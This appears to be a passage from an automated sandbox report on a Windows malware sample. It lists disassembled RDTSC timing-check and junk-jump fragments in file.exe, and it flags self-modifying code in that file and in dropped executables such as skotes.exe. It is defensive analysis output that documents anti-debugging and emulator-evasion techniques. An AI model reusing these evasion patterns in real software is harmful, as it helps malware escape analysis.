Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5490E4A second address: 5490E5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov cx, bx 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A00BE second address: 54A012C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB698BF2C57h 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007FB698BF2C59h 0x0000000f jmp 00007FB698BF2C4Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 jmp 00007FB698BF2C56h 0x0000001e push eax 0x0000001f jmp 00007FB698BF2C4Bh 0x00000024 xchg eax, ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A012C second address: 54A0147 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A0147 second address: 54A0175 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB698BF2C4Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C074F second address: 54C0754 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C0754 second address: 54C075A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C075A second address: 54C0768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C0768 second address: 54C076C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C076C second address: 54C0770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C0770 second address: 54C0776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C0776 second address: 54C078C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ebx, esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C078C second address: 54C07C1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FB698BF2C54h 0x0000000c sub si, 9FF8h 0x00000011 jmp 00007FB698BF2C4Bh 0x00000016 popfd 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C07C1 second address: 54C07C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C07C7 second address: 54C07F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, al 0x00000005 mov dx, 7A58h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov ax, dx 0x00000013 jmp 00007FB698BF2C55h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C07F0 second address: 54C082F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov eax, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ecx 0x0000000d pushad 0x0000000e mov eax, ebx 0x00000010 movsx ebx, ax 0x00000013 popad 0x00000014 mov eax, dword ptr [76FA65FCh] 0x00000019 pushad 0x0000001a call 00007FB698CE01F6h 0x0000001f push eax 0x00000020 pop ebx 0x00000021 pop eax 0x00000022 movsx edi, ax 0x00000025 popad 0x00000026 test eax, eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C082F second address: 54C0833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C0833 second address: 54C084E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C084E second address: 54C08C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB698BF2C4Fh 0x00000009 adc ecx, 484895EEh 0x0000000f jmp 00007FB698BF2C59h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FB698BF2C50h 0x0000001b sub eax, 20B67568h 0x00000021 jmp 00007FB698BF2C4Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a je 00007FB70A655D05h 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FB698BF2C55h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C08C4 second address: 54C08FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, eax 0x0000000b jmp 00007FB698CE01EEh 0x00000010 xor eax, dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FB698CE01ECh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C08FA second address: 54C090C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB698BF2C4Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C090C second address: 54C0910 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C0910 second address: 54C0953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and ecx, 1Fh 0x0000000b jmp 00007FB698BF2C57h 0x00000010 ror eax, cl 0x00000012 pushad 0x00000013 pushad 0x00000014 call 00007FB698BF2C52h 0x00000019 pop ecx 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d pushad 0x0000001e mov bx, 9DE2h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C0953 second address: 54C09B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 leave 0x00000007 pushad 0x00000008 mov cx, dx 0x0000000b pushfd 0x0000000c jmp 00007FB698CE01F1h 0x00000011 add eax, 6BBC13B6h 0x00000017 jmp 00007FB698CE01F1h 0x0000001c popfd 0x0000001d popad 0x0000001e retn 0004h 0x00000021 nop 0x00000022 mov esi, eax 0x00000024 lea eax, dword ptr [ebp-08h] 0x00000027 xor esi, dword ptr [00B52014h] 0x0000002d push eax 0x0000002e push eax 0x0000002f push eax 0x00000030 lea eax, dword ptr [ebp-10h] 0x00000033 push eax 0x00000034 call 00007FB69D690AB2h 0x00000039 push FFFFFFFEh 0x0000003b jmp 00007FB698CE01EEh 0x00000040 pop eax 0x00000041 pushad 0x00000042 mov edi, esi 0x00000044 popad 0x00000045 ret 0x00000046 nop 0x00000047 push eax 0x00000048 call 00007FB69D690AC1h 0x0000004d mov edi, edi 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007FB698CE01EBh 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C09B1 second address: 54C09E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FB698BF2C4Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov cl, B4h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C09E4 second address: 54C09EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C09EA second address: 54C0A10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ch, dh 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C0A10 second address: 54C0A2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB698CE01F6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C0A2A second address: 54C0A43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C0A43 second address: 54C0A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C0A47 second address: 54C0A4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C0A4B second address: 54C0A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C0A51 second address: 54C0A79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C4Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB698BF2C57h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C0A79 second address: 54C0A7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54C0A7F second address: 54C0A83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 547000A second address: 54700DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FB698CE01EEh 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FB698CE01F1h 0x00000017 jmp 00007FB698CE01EBh 0x0000001c popfd 0x0000001d mov dx, si 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 pushad 0x00000023 mov ah, F6h 0x00000025 pushfd 0x00000026 jmp 00007FB698CE01EDh 0x0000002b jmp 00007FB698CE01EBh 0x00000030 popfd 0x00000031 popad 0x00000032 mov ebp, esp 0x00000034 pushad 0x00000035 mov ebx, esi 0x00000037 pushfd 0x00000038 jmp 00007FB698CE01F0h 0x0000003d xor eax, 6E82EC18h 0x00000043 jmp 00007FB698CE01EBh 0x00000048 popfd 0x00000049 popad 0x0000004a and esp, FFFFFFF8h 0x0000004d pushad 0x0000004e mov esi, 21DAB1EBh 0x00000053 pushfd 0x00000054 jmp 00007FB698CE01F0h 0x00000059 sbb ah, 00000078h 0x0000005c jmp 00007FB698CE01EBh 0x00000061 popfd 0x00000062 popad 0x00000063 xchg eax, ecx 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007FB698CE01F5h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54700DC second address: 5470160 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB698BF2C57h 0x00000009 jmp 00007FB698BF2C53h 0x0000000e popfd 0x0000000f movzx esi, di 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 jmp 00007FB698BF2C52h 0x0000001b xchg eax, ecx 0x0000001c pushad 0x0000001d call 00007FB698BF2C4Eh 0x00000022 mov si, 1961h 0x00000026 pop esi 0x00000027 push eax 0x00000028 push edx 0x00000029 pushfd 0x0000002a jmp 00007FB698BF2C4Dh 0x0000002f sub ax, 2336h 0x00000034 jmp 00007FB698BF2C51h 0x00000039 popfd 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5470160 second address: 547017E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 jmp 00007FB698CE01EAh 0x0000000d push eax 0x0000000e pushad 0x0000000f mov edx, 5F802404h 0x00000014 push eax 0x00000015 push edx 0x00000016 movsx edx, ax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 547017E second address: 5470182 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5470182 second address: 54701D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 jmp 00007FB698CE01F0h 0x0000000d mov ebx, dword ptr [ebp+10h] 0x00000010 pushad 0x00000011 call 00007FB698CE01EEh 0x00000016 call 00007FB698CE01F2h 0x0000001b pop ecx 0x0000001c pop edi 0x0000001d mov ah, A3h 0x0000001f popad 0x00000020 push esi 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FB698CE01EFh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54701D5 second address: 547020A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB698BF2C4Fh 0x00000009 xor ecx, 71C6F88Eh 0x0000000f jmp 00007FB698BF2C59h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 547020A second address: 547021A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 547021A second address: 547021E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 547021E second address: 5470224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5470224 second address: 547022A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 547022A second address: 547022E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 547022E second address: 5470232 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5470232 second address: 5470254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB698CE01F5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5470254 second address: 5470264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB698BF2C4Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5470264 second address: 5470268 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5470268 second address: 547028F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a pushad 0x0000000b movzx ecx, di 0x0000000e mov dx, 07C8h 0x00000012 popad 0x00000013 push edx 0x00000014 push esi 0x00000015 pop edi 0x00000016 pop ecx 0x00000017 popad 0x00000018 mov dword ptr [esp], edi 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov si, 1137h 0x00000022 mov ax, 89D3h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 547028F second address: 54702C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB698CE01EFh 0x00000009 sbb si, 96BEh 0x0000000e jmp 00007FB698CE01F9h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54702C3 second address: 547034F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test esi, esi 0x00000009 pushad 0x0000000a mov si, 3859h 0x0000000e mov ecx, 7B550115h 0x00000013 popad 0x00000014 je 00007FB70A6A0F84h 0x0000001a jmp 00007FB698BF2C50h 0x0000001f cmp dword ptr [esi+08h], DDEEDDEEh 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FB698BF2C4Eh 0x0000002d jmp 00007FB698BF2C55h 0x00000032 popfd 0x00000033 movzx ecx, di 0x00000036 popad 0x00000037 je 00007FB70A6A0F53h 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 jmp 00007FB698BF2C54h 0x00000045 call 00007FB698BF2C52h 0x0000004a pop eax 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 547034F second address: 5470355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5470355 second address: 54703DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C4Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [esi+44h] 0x0000000e jmp 00007FB698BF2C50h 0x00000013 or edx, dword ptr [ebp+0Ch] 0x00000016 jmp 00007FB698BF2C50h 0x0000001b test edx, 61000000h 0x00000021 jmp 00007FB698BF2C50h 0x00000026 jne 00007FB70A6A0F2Dh 0x0000002c jmp 00007FB698BF2C50h 0x00000031 test byte ptr [esi+48h], 00000001h 0x00000035 jmp 00007FB698BF2C50h 0x0000003a jne 00007FB70A6A0F1Ch 0x00000040 pushad 0x00000041 mov esi, 07F8C30Dh 0x00000046 push ecx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54608BA second address: 546093C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FB698CE01ECh 0x00000013 sub al, 00000078h 0x00000016 jmp 00007FB698CE01EBh 0x0000001b popfd 0x0000001c mov esi, 79B9BDAFh 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FB698CE01F7h 0x0000002d add cx, 7EEEh 0x00000032 jmp 00007FB698CE01F9h 0x00000037 popfd 0x00000038 mov edx, esi 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 546093C second address: 5460964 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c jmp 00007FB698BF2C4Eh 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5460964 second address: 5460968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5460968 second address: 5460A07 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 1349F229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FB698BF2C56h 0x0000000f or si, 93F8h 0x00000014 jmp 00007FB698BF2C4Bh 0x00000019 popfd 0x0000001a popad 0x0000001b push eax 0x0000001c pushad 0x0000001d mov si, di 0x00000020 pushfd 0x00000021 jmp 00007FB698BF2C4Bh 0x00000026 and cx, FFBEh 0x0000002b jmp 00007FB698BF2C59h 0x00000030 popfd 0x00000031 popad 0x00000032 xchg eax, ebx 0x00000033 jmp 00007FB698BF2C4Eh 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007FB698BF2C4Dh 0x00000042 and ax, 9CA6h 0x00000047 jmp 00007FB698BF2C51h 0x0000004c popfd 0x0000004d movzx esi, bx 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5460A07 second address: 5460A0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5460A0D second address: 5460A52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FB698BF2C4Bh 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 mov cx, C4CBh 0x00000017 mov di, si 0x0000001a popad 0x0000001b mov esi, dword ptr [ebp+08h] 0x0000001e jmp 00007FB698BF2C4Ah 0x00000023 sub ebx, ebx 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 mov ax, di 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5460A52 second address: 5460A7A instructions: 0x00000000 rdtsc 0x00000002 mov al, bh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov esi, 0B475EA1h 0x0000000b popad 0x0000000c test esi, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB698CE01F6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5460A7A second address: 5460A80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5460A80 second address: 5460AAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FB70A795AE2h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007FB698CE01EDh 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: B5EA5D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: CFB3CF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: CF9D79 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: CF99F3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: D8FC18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: EBEA5D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 105B3CF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 1059D79 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 10599F3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 10EFC18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Special instruction interceptor: First address: 87CBAF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Special instruction interceptor: First address: A1E570 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Special instruction interceptor: First address: A427E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Special instruction interceptor: First address: 87CAA8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Special instruction interceptor: First address: AA1459 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Special instruction interceptor: First address: FCF75A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Special instruction interceptor: First address: 1163834 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Special instruction interceptor: First address: 1161FE1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Special instruction interceptor: First address: 116DF1B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Special instruction interceptor: First address: FCF72B instructions caused by: Self-modifying code
